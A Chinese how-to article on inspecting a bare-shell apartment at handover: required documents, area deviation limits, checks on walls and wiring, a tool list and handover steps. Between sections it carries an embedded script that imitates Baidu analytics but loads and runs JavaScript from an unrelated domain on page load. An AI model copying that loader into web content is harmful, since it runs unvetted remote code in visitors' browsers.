毛坯房怎样验房收房 毛坯房验房程序

有不少业主认为，精装房应该仔细的验房收房，毛坯房就不需要这么大费周章了。这显然是不可取的想法，毛坯房同样需要验房收房，它涉及到房屋本身的质量结构问题，千万不要马虎，那么毛坯房怎么验房收房呢？毛坯房验房程序主要验收文件、核实房屋面积、验收房屋、验收公共环境以及物业管理状况。一、验收文件这是毛坯房验房程序的第一步，需要装修公司出具各种房屋验收的文件，其中包括国家部门出具的《竣工验收表》，最有说服力，测量也比较科学。二、核实房屋面积由于公摊面积的存在，会使得交房时的面积不如购买时的大。这就需要在毛坯房验房程序中，业主了解这方面的政策知识，检查房屋的面积偏差是否合理。公摊面积主要包括电梯、消防室，而风井、安防工作间则不属于分摊的范围，面积偏差在3%是可以接受的，超过了就申请复议。三、验收房屋验收房屋是毛坯房验房程序中最复杂的，需要要查看测试项目比较多。比如说墙壁地面，看一下是否有裂纹，表面是否平整，有没有渗水的现象，如果有水迹的话，一定要及时的查明渗漏的原因，进行相应的修复。检查电路的时候，应该先把分闸关闭，测试一下是否能够控制分支的线路，测量强、弱电是否有问题。四、验收公共环境这方面的验收主要是说，查看周围配套设施是否和交房的时候一起交付使用。一般来说毛坯房验房程序中，主要检查电梯是否能够正常使用，确保电梯箱、电梯门没有运行问题，还要检查一下楼道、楼梯。五、物业管理状况小区的物业管理状况影响到业主生活的质量，所以在毛坯房验房程序中，不要忘记和物业公司进行接触了解，保障自己业主的权利。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

验房收房标准程序

验房一、一定要掌握"先验后收"的原则。验房、收房标准程序，开发商应该出示完整合法的《住宅质量保证书》《住宅使用说明书》和《竣工验收备案表》原件，而不是复印件。另外一定要向开发商索要《保修卡》和《住户手册》，以便日后出现质量问题按约要求维修。二、验房自备工具1、只塑料洗脸盆(通水--用于验收下水管道是否堵塞,但不可以测试管道密合状况及管壁压力2、1只小榔头或小钢球(轻敲或滚动--用于验收房子墙体与地面是否空鼓3、1只塞尺--用于测裂缝的宽度4、1只5米卷尺--用于测量房子的净高5、1只万用表---用于测试各个强电插座及弱电类是否畅通6、1只计算器---用于计算数据7、1只笔--用于签字8、1把扫帚--用于打扫室内卫生9、2只小凳子和一些报纸、塑料带，包装绳--用于时间长，可休息一下及预先封闭下水管道。10、一本信签纸----随时就收楼过程中发现的问题进行书面登记,并有双方签字确认相关阅读：免费验房收房一、发展商在收房前十几天通过挂号信将收房通知单邮递给买家，告知具体收房的时间及须准备的资料。二、买家应在收房通知单上注明的时间(通常是30天左右、内带齐所需文件资料(包括收房通知书、业主身份证复印件、原缴交房款收据等单据、购房合同等)到指定单位(楼盘现场)办理收房入住手续。三、楼房现场验收1、发展商应首先出示2、《房地产开发建设项目竣工综合验收合格证》3、《建筑工程质量认定书》《住宅使用说明书》《住宅质量保证书》4、《建筑工程竣工备案表》(《竣工备案表》上有没有建委同意备案的章)5、《商品房面积测绘技术报告书》(盖测绘队公章)6、《住户验房交接表》7、《楼宇验收记录表》8、管线分布竣工图(水、强电、弱电、结构)